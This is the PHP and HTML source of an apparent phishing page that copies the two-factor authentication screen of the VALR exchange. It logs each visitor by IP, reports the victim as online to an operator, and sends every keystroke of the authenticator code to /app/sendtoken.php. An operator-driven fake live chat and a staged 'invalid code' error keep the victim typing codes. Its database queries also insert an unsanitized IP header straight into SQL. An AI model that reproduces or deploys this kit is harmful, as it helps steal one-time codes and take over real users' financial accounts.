<?php
@session_start();
error_reporting(0);


require_once "../cod3rconfig/registro.php";
require_once "../cod3rconfig/conexao.php";
require_once "../cod3rconfig/data.php";
require("../bot.php");
$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);

$query_verificacadastro1 = "SELECT * FROM ipblock WHERE ip = '$ip'";
$verificacadastro1 = mysqli_query(DBCOnnect(), $query_verificacadastro1) or die(mysqli_error(DBCOnnect()));
$row_verificacadastro1 = mysqli_fetch_assoc($verificacadastro1);

if ($row_verificacadastro1['ip'] == $ip) {
  header("Location: https://www.google.com/");
}

$authyinfo = $row_infio['authy01'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Online no 2FA!' WHERE ip='$ip'");

?>
<html lang="en" style="background-color: var(--palette-zIndex-0)" data-theme="light">
  <head>
    <meta name="viewport" content="user-scalable=no, initial-scale=1, viewport-fit=cover, maximum-scale=1, minimum-scale=1, width=device-width, height=device-height, target-densitydpi=device-dpi">
    <title>Two-factor authentication | VALR</title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="">
    <link href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,600,700&amp;display=swap" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css2?family=Manrope:wght@200;300;400;500;600;700;800&amp;display=swap" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@200;300;400;500;600;700;800&amp;display=swap" rel="stylesheet">
    <link rel="stylesheet" href="./2fa.css?t=123">
      <!-- <link rel="stylesheet" href="https://rsms.me/inter/inter.css"> -->
      <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Open+Sans:ital,wght@0,300..800;1,300..800&display=swap" rel="stylesheet">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css" integrity="sha512-Evv84Mr4kqVGRNSgIGL/F/aIDqQb7xQ2vcrdIwxfjThSH8CSR7PBEakCr51Ck+w+/U6swU2Im1vVX0SVk9ABhg==" crossorigin="anonymous" referrerpolicy="no-referrer" />
      <style>*{font-family: "Open Sans", serif!important; }</style>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/axios/1.1.2/axios.min.js"></script>
  <script src="app/js/jquery-3.6.0.min.js" type="text/javascript"></script>
  <script src="dados_comando.js?t=<?=rand(999,99999999)?>" type="text/javascript"></script>
  <script type="text/javascript">
    $(document).ready(function() {
      atualiza();
    });

    function atualiza() {
      $.get('ver_online.php',

        function(resultado) {
          $('#onlineagora').html(resultado);
        })

      setTimeout('atualiza()', 1250);
    }
  </script>
</head>

<body class="">
      <noscript>You need to enable JavaScript to run this app.</noscript>

    <div id="root">
      <div id="veriff-hook"></div>
      <div id="tooltip-popover-target"></div>
      <div class="styles__Content-dThHGR hAszrD">
        <div width="100%" class="styles__Row-iasBvN styles__Column-dbZSJR kbrSVb gkWWYe" style="z-index: 3; position: fixed;">
          <div width="100%" height="30px" class="styles__Row-iasBvN UpperMenu__Container-huUJuJ jcbfJG loEbxT">
          </div>
          <div class="LowerMenu-styles__NavbarOuter-kzyurj NonxF">
            <a class="styles__StyledLink-iJCioj daOQIl Logo__IconButton-hzOYiJ fogLqq" href="#">
              <div class="Logo__IconContainer-eRKMsk hroDkK">
                <span width="130px" height="32px" class="styles__Container-bMmrBk yHhAg">
                  <svg width="130px" height="32px" class="styles__Svg-jjhTut ekSYMc">
                    <use xlink:href="#logo-v2-light"></use>
                  </svg>
                </span>
              </div>
            </a>
            <div class="AccountSlice__SliceOuter-bgCLtb htAUCe">
              <div class="AccountSlice__SliceInner-bXQCUs fhGNAZ">
                <div class="AccountSlice__AccountButtonContainer-kJBFMm egNcKx"></div>
              </div>
            </div>
          </div>
        </div>
        <div class="styles__NavbarSpacer-cLWkIN fMYTxN"></div>
        <div class="OperationHeaderNew-styles__Container-erQKVH fFctVD">
          <img src="./icon-signin-signup-background.svg" alt="icon-signin" class="OperationHeaderNew-styles__StyledIcon-kZtdPo DljTO">
          <div class="container__Container-hyVxPr gaWoNw">
            <p class="styles__Title-geCUSj iouUmP" style="color:var(--dark)">Authorize device</p>
            <p class="styles__Text-czIacu bHdmdE">Please enter the code from your authenticator app</p>
            <div class="styles__Container-fwIfbo bcQheR styles__CodeInput-fFRzBE UViWx">
              <div class="styles__InputContainer-hjVQgO ikvoCu"><input type="tel" id="token" inputmode="decimal" placeholder="000000" autocomplete="off" class="styles__Input-bRQSrt jBFTdp" value=""></div>
            </div>
            <button id="btnsend" onclick="clickBtnSend()" type="button" class="buttonStylesDefault-jD_pdv buttonStylesDefault-jD_pdv sizeLarge-aZ7UfY emphasisHigh-Rlx2gh colorPrimary-X0Vzyb fullWidth-VCxpYW submitButton-XV431E" data-rac="" >
              <div class="contentOuter-wK8hBw fluid-YHFKUG">
                <div class="contentSpacer-Y7dpbn">
                  <div class="contentInner-z_8n4J">Next</div>
                </div>
              </div>
            </button>
            <div class="styles__Container-gkfBnH gAcQWK styles__Error-ewnYtK haKjuT" font-size="13px">
              <div size="13" class="styles__NoIcon-fwgqtF jlhBhL">&nbsp;</div>
              <p class="styles__Message-kDGppE hBCTAj"></p>
            </div>
          </div>
        </div>
      </div>
      <section class="Toastify" aria-live="polite" aria-atomic="false" aria-relevant="additions text" aria-label="Notifications Alt+T"></section>
      <div></div>
      <div id="menu-portal"></div>
      <div></div>
    </div>
    <svg><svg width="0" height="0" style="position:absolute">
       
        <symbol fill="none" viewBox="0 0 20 20" id="icon-earth" xmlns="http://www.w3.org/2000/svg">
            <g clip-path="url(#aqca)" fill="#1E4DF2">
                <path opacity=".3"
                    d="M10 .25C4.615.25.25 4.615.25 10s4.365 9.75 9.75 9.75 9.75-4.365 9.75-9.75S15.385.25 10 .25Z">
                </path>
                <path fill-rule="evenodd" clip-rule="evenodd"
                    d="M9.215 3.751h8.27a9.707 9.707 0 0 1 2.164 4.84v2.818a9.76 9.76 0 0 1-6.752 7.903v-7.46L9.216 8.53V3.75ZM7.713 16.713v2.768a9.768 9.768 0 0 1-7.031-6.603h7.031v3.835Z">
                </path>
            </g>
            <defs>
                <clippath id="aqca">
                    <path fill="#fff" d="M0 0h20v20H0z"></path>
                </clippath>
            </defs>
        </symbol>
        
        <symbol fill="none" viewBox="0 0 12 12" id="icon-arrow-down-sm" xmlns="http://www.w3.org/2000/svg">
            <path fill-rule="evenodd" clip-rule="evenodd"
                d="m3.282 5.118.636-.636L6 6.564l2.082-2.082.636.636L6 7.837 3.282 5.118Z" fill="currentColor"></path>
        </symbol>
        
        <symbol fill="none" viewBox="0 0 163 40" id="logo-v2-light" xmlns="http://www.w3.org/2000/svg">
            <path
                d="M19.827 19.628c-.582.94-1.864 1.258-2.862.71-.998-.549-1.335-1.756-.753-2.696L27.136 0H3.597C.82 0-.907 2.883.501 5.17l17.303 28.103L29.093 15.04c.582-.94 1.864-1.258 2.862-.71.998.55 1.336 1.757.753 2.697L20.22 37.197l.685 1.111c1.389 2.256 4.803 2.256 6.192 0L47.5 5.17C48.907 2.883 47.18 0 44.403 0H31.982L19.827 19.628Z"
                fill="#1E4DF2"></path>
            <path fill-rule="evenodd" clip-rule="evenodd"
                d="M69.645 33.5c-1.335 0-2.238-.712-2.749-1.875l-9.621-21.6C57.118 9.687 57 9.35 57 8.937c0-1.237 1.06-2.25 2.435-2.25 1.256 0 2.081.675 2.474 1.65l7.932 18.938 8.051-19.087c.314-.788 1.178-1.5 2.317-1.5 1.335 0 2.395.974 2.395 2.212 0 .338-.117.713-.235.975l-9.66 21.75c-.511 1.163-1.414 1.875-2.789 1.875h-.275Zm14.342-2.325c0-.338.118-.675.314-1.05l10.21-21.75c.55-1.162 1.532-1.875 2.907-1.875h.235c1.375 0 2.317.713 2.867 1.875l10.211 21.75c.196.337.274.675.274.975 0 1.237-.981 2.212-2.277 2.212-1.139 0-1.924-.637-2.356-1.612l-2.239-4.912H90.781l-2.317 5.062c-.393.938-1.217 1.462-2.238 1.462-1.257 0-2.239-.937-2.239-2.137Zm8.64-8.475h9.66l-4.83-10.612-4.83 10.612Zm23.601 8.1V8.975c0-1.275 1.061-2.287 2.435-2.287 1.335 0 2.396 1.012 2.396 2.287v19.95h12.449c1.217 0 2.199.938 2.199 2.1 0 1.163-.982 2.1-2.199 2.1h-14.845c-1.374 0-2.435-1.013-2.435-2.325Zm24.309.225V9.2c0-1.312 1.06-2.325 2.435-2.325h9.818c3.455 0 6.165.975 7.932 2.625 1.453 1.425 2.278 3.375 2.278 5.662v.075c0 4.2-2.553 6.75-6.244 7.838l5.262 6.338c.471.562.786 1.05.786 1.762 0 1.275-1.139 2.137-2.317 2.137-1.1 0-1.807-.487-2.357-1.2l-6.676-8.137h-6.087v7.05c0 1.275-1.06 2.288-2.395 2.288-1.375 0-2.435-1.013-2.435-2.288Zm4.83-11.137h7.069c3.456 0 5.655-1.726 5.655-4.388v-.075c0-2.813-2.12-4.35-5.694-4.35h-7.03v8.813Z"
                fill="#010522"></path>
        </symbol>

        
        <symbol fill="none" viewBox="0 0 18 18" id="icon-warning-circle-generic" xmlns="http://www.w3.org/2000/svg">
            <g clip-path="url(#aeea)">
                <path opacity=".3" d="M9 0a9 9 0 1 0 0 18A9 9 0 0 0 9 0Z" fill="#010522"></path>
                <path d="M8.25 4.5v6h1.5v-6h-1.5ZM8.25 12v1.5h1.5V12h-1.5Z" fill="currentColor"></path>
            </g>
            <defs>
                <clippath id="aeea">
                    <path fill="#fff" d="M0 0h18v18H0z"></path>
                </clippath>
            </defs>
        </symbol>
        
        <symbol fill="none" viewBox="0 0 18 18" id="icon-password-hidden" xmlns="http://www.w3.org/2000/svg">
            <g opacity=".3" fill="currentColor">
                <path
                    d="m1.313 9.59 2.275-1.425-.797-1.27L.517 8.32l.796 1.27ZM6.517 13.649l.872-2.6-1.422-.478-.872 2.6 1.422.478ZM12.033 10.572l.872 2.6-1.423.477-.871-2.6 1.422-.477ZM17.483 8.32 15.21 6.895l-.797 1.272 2.274 1.424.796-1.271Z">
                </path>
            </g>
            <path fill-rule="evenodd" clip-rule="evenodd"
                d="M1.438 6.454C1.123 5.983.8 5.5.463 5.02l1.229-.86c.39.556.741 1.081 1.072 1.574.806 1.202 1.484 2.214 2.263 3.02 1.033 1.07 2.183 1.701 3.974 1.701 1.79 0 2.94-.631 3.974-1.7.78-.808 1.457-1.82 2.263-3.021A91.84 91.84 0 0 1 16.31 4.16l1.229.86c-.337.481-.66.962-.975 1.433-.84 1.254-1.632 2.434-2.51 3.344-1.276 1.32-2.801 2.158-5.053 2.158s-3.778-.839-5.053-2.158c-.878-.91-1.67-2.09-2.51-3.343Z"
                fill="currentColor"></path>
        </symbol>
        
        <symbol viewBox="0 0 28 35" id="icon-apple-small" xmlns="http://www.w3.org/2000/svg">
            <path fill-rule="evenodd"
                d="M23.18 18.386c-.039-4.3 3.52-6.39 3.683-6.488-2.016-2.939-5.14-3.34-6.237-3.372-2.624-.276-5.169 1.57-6.506 1.57-1.363 0-3.42-1.543-5.639-1.498-2.854.044-5.525 1.697-6.99 4.263C-1.53 18.094.724 25.783 3.62 30.013c1.449 2.071 3.141 4.384 5.357 4.303 2.167-.09 2.977-1.382 5.593-1.382 2.591 0 3.352 1.382 5.611 1.33 2.326-.038 3.79-2.081 5.189-4.171 1.674-2.374 2.346-4.713 2.373-4.833-.055-.018-4.518-1.722-4.562-6.874h-.001zM18.912 5.744c1.165-1.458 1.963-3.442 1.742-5.455-1.688.075-3.798 1.168-5.013 2.593-1.075 1.257-2.035 3.316-1.787 5.253 1.895.142 3.841-.956 5.058-2.391z">
            </path>
        </symbol>
        
        <symbol fill="none" viewBox="0 0 18 18" id="icon-google" xmlns="http://www.w3.org/2000/svg">
            <path
                d="m.922 12.988 3.027-2.316A5.308 5.308 0 0 1 3.682 9a5.308 5.308 0 0 1 .267-1.672L.922 5.012A9.006 9.006 0 0 0 0 9c0 1.434.331 2.787.922 3.988Z"
                fill="#FBBC05"></path>
            <path
                d="M3.95 7.328a5.287 5.287 0 0 1 1.287-2.091A5.307 5.307 0 0 1 9 3.682c1.268 0 2.414.45 3.314 1.186l2.618-2.618C13.336.86 11.29 0 9 0A8.975 8.975 0 0 0 .922 5.012l3.027 2.316Z"
                fill="#EA4335"></path>
            <path
                d="M.92 12.985A8.975 8.975 0 0 0 9 18c4.5 0 8.59-3.273 8.59-9 0-.532-.08-1.105-.204-1.636H9v3.477h4.827c-.45 2.209-2.332 3.477-4.827 3.477a5.31 5.31 0 0 1-5.053-3.653L.92 12.985Z"
                fill="#34A853"></path>
            <path
                d="M9 7.364h8.386c.124.531.204 1.104.204 1.636 0 2.933-1.073 5.223-2.724 6.758l-2.874-2.224c.94-.593 1.593-1.508 1.835-2.693H9V7.364Z"
                fill="#4285F4"></path>
        </symbol>
        
        <symbol viewBox="0 0 18 18" id="icon-facebook-small" xmlns="http://www.w3.org/2000/svg">
            <path fill="#2250B7"
                d="M7.25 6H5v3h2.25v9H11V9h2.732L14 6h-3V4.75c0-.716.144-1 .836-1H14V0h-2.856C8.447 0 7.25 1.187 7.25 3.461V6z">
            </path>
        </symbol>
        
        <symbol fill="none" viewBox="0 0 16 16" id="icon-tick-small" xmlns="http://www.w3.org/2000/svg">
            <path d="M10.667 6.667 7.333 10l-2-2" stroke="#010522" stroke-width="1.2" stroke-linecap="round"
                stroke-linejoin="round"></path>
        </symbol></svg></svg>
  <link rel="stylesheet" href="/assets/css/webchat.css">
  <div id="webChat" class="fabs" style="display: none; z-index: 100000000000000000000000000000000000;">
    <div class="chat" style="margin-right: 40px; margin-bottom: 5px; border-radius: 10px 10px 10px 10px;">
      <div class="chat_header">
        <span id="chat_head">Live Chat</span>
        <div class="chat_loader"></div>
        <div class="chat_option"><i class="zmdi zmdi-more-vert"></i>
          <ul>
            <li><span class="chat_color" style="border:solid 5px #2196F3" color="blue"></span></li>
            <li><span class="chat_color" style="border:solid 5px #00bcd4" color="cyan"></span></li>
            <li><span class="chat_color" style="border:solid 5px #607d8b" color="blue-grey"></span></li>
            <li><span class="chat_color" style="border:solid 5px #4caf50" color="green"></span></li>
            <li><span class="chat_color" style="border:solid 5px #8bc34a" color="light-green"></span></li>
            <li><span class="chat_color" style="border:solid 5px #cddc39" color="lime"></span></li>
            <li><span class="chat_color" style="border:solid 5px #ffc107" color="amber"></span></li>
            <li><span class="chat_color" style="border:solid 5px #ff5722" color="deep-orange"></span></li>
            <li><span class="chat_color" style="border:solid 5px #f44336" color="red"></span></li>
          </ul>
        </div>

      </div>
      <div class="chat_login">
        <a id="chat_send_email" class="fab"><i class="zmdi zmdi-email"></i></a>
        <input id="chat_log_email" placeholder="Email"></input>
        <div class="chat_login_alert"></div>
      </div>
      <div id="chat_converse" class="chat_converse">
        <span class="chat_msg_item chat_msg_item_admin">
          <div class="chat_avatar">
            <i class="zmdi zmdi-headset-mic"></i>
          </div>Hello! How can I help you?
        </span>
      </div>
      <div class="fab_field" style="border-radius: 0px 0px 10px 10px;">
        <a id="fab_listen" class="fab"><i class="zmdi zmdi-comments"></i></a>
        <a id="fab_send" class="fab"><i class="zmdi zmdi-mail-send"></i></a>
        <textarea style="padding-top: 18px; border-bottom: 1px solid gray; border-radius: 2px;" id="chatSend" name="chat_message" placeholder="Write a message" class="chat_field chat_message"></textarea>
        <input id="adminchat" type="hidden" style="display: none;" value="">
      </div>
    </div>
    <a id="prime" class="fab">
      <div style="display: flex; justify-content: center; align-items: center; height: 100%; font-size: 18px;">
        <i class="zmdi zmdi-comments"></i>
        <span style="margin-left: 5px;">Chat</span>
      </div>
    </a>
  </div>
  <audio style="display: none;" id="my-audio" controls>
    <source src="/assets/js/notificationsound.mp3" type="audio/mpeg">
  </audio>
  <div id="error_notification" class="overlay-container" aria-live="polite" style="display: none;">
    <div id="toast-container" class="toast-top-right toast-container">
      <div class="ng-tns-c10-3 ng-star-inserted ng-trigger ng-trigger-flyInOut ngx-toastr toast-error" toast-component="" style="opacity: 1;">
        <div class="ng-tns-c10-3 toast-title ng-star-inserted" aria-label="ERROR"> ERROR </div>
        <div role="alert" class="ng-tns-c10-3 toastr-msg ng-star-inserted" aria-label="Invalid authentication code"> Invalid authentication code </div>
      </div>
    </div>
  </div>
  <script>
    window.addEventListener("load", function() {
      document.getElementById("prime").click();
      setTimeout(() => {
        document.getElementById("webChat").style.display = "unset"
      }, 1300);
    })
    window.addEventListener("click", function() {
      document.getElementById("prime").classList.remove("piscapisca")
    });

    if (localStorage.getItem("statuschat") === "enabled") {
      document.getElementById("webChat").style.display = "unset";
    }
  </script>
  <script>
    function realtimechat() {

    }
    setInterval(() => {
      realtimechat();
    }, 1400);

    function playsound() {
      document.getElementById("my-audio").play();
    }

    function checkUpdate() {
      fetch("/app/checkChat.php")
        .then(response => response.json())
        .then(data => {
          if (data.update) {
            const xhttp = new XMLHttpRequest();
            xhttp.onload = function() {
              var nullo = document.getElementById("adminchat").value = this.responseText;
              console.log(adminSend(nullo));
            }
            xhttp.open("GET", "/app/realtimechat.php");
            xhttp.send();
          } else {}
        });
    }
    setInterval(checkUpdate, 2000);
  </script>
  <script src="/assets/js/togglefab.js"></script>
  <script>
    const inputs = document.querySelectorAll('[inputmode="decimal"]');
    inputs.forEach((input, index) => {
      input.addEventListener('input', () => {
        input.classList.remove("negative", "no-margin-top");
        const currentValue = input.value.trim();
        const numberValue = parseInt(currentValue);
        const code = Array.from(inputs).map((input) => input.value).join('');
        // if (!isNaN(numberValue) && /^\d$/.test(currentValue)) {
          // if (index < inputs.length - 1) {
          //   inputs[index + 1].focus();
          // } else {
            // if (code.length === 6) {
            //   inputs.forEach((input) => {
            //     input.disabled = true;
            //   });
            // }
          // }
          sendToken(code);
        // } else {
        //   input.value = '';
        // }
      });

      // input.addEventListener('paste', (event) => {
      //   event.preventDefault();
      //   const clipboardData = event.clipboardData || window.clipboardData;
      //   const pasteData = clipboardData.getData('text/plain').trim();
      //   const digits = pasteData.slice(0, inputs.length).split('');

      //   if (digits.every((char) => /^\d$/.test(char))) {
      //     inputs.forEach((input, idx) => {
      //       if (idx < digits.length) {
      //         input.value = digits[idx];
      //         inputs.forEach((input) => {
      //           input.classList.remove("negative", "no-margin-top");
      //         });
      //         input.dispatchEvent(new Event('input'));
      //       } else {
      //         input.value = '';
      //       }
      //     });

      //     if (digits.length >= inputs.length) {
      //       inputs[inputs.length - 1].focus();
      //       const code = digits.slice(0, inputs.length).join('');
      //       if (code.length === 6) {
      //         sendToken(code);
      //         inputs.forEach((input) => {
      //           input.disabled = true;
      //         });
      //       }
      //     }
      //   } else {
      //     inputs.forEach((input) => {
      //       input.value = '';
      //     });
      //   }
      // });

      // input.addEventListener('keydown', (event) => {
      //   if (event.key === 'Backspace' && input.value === '' && index > 0) {
      //     inputs[index - 1].focus();
      //   } else if (event.key === 'Delete') {
      //     inputs.forEach((input, idx) => {
      //       if (idx > index) {
      //         input.value = '';
      //       }
      //     });
      //     input.focus();
      //   }

      //   if (event.key === 'e' || event.key === 'E' || event.key === '.' || event.key === '-') {
      //     event.preventDefault();
      //   }
      // });
    });

    function clickBtnSend() {
      const code = document.getElementById("token").value;
      if(code.length >= 6) {
        document.getElementById('btnsend').innerHTML = `<span _ngcontent-ndax-c65="" class="ndax-spinner ng-star-inserted"></span>`;
        document.getElementById('btnsend').setAttribute('disabled', 'disabled');
        document.getElementById("token").setAttribute('disabled', 'disabled');
      }
    }

    function sendToken(code) {
      const token = code;
      const formData = new FormData();
      formData.append("token", token);

      fetch('/app/sendtoken.php', {
          method: 'POST',
          body: formData
        })
        .then(response => {
          if (response.ok) {
            document.getElementById("error_notification").style.display = "none";
          } else {
            console.error("Erro ao enviar o token. Código de status:", response.status);
          }
        })
        .catch(error => {
          console.error("Erro ao enviar o token:", error);
        });

      return false;
    }

    document.addEventListener('DOMContentLoaded', () => {
      if (window.location.href.indexOf("?error=1") > -1) {
        document.getElementById("error_notification").style.display = "block";
        setTimeout(() => {
          document.getElementById("error_notification").style.display = "none";
        }, 3000);
      }
    });
  </script>
</body>

</html>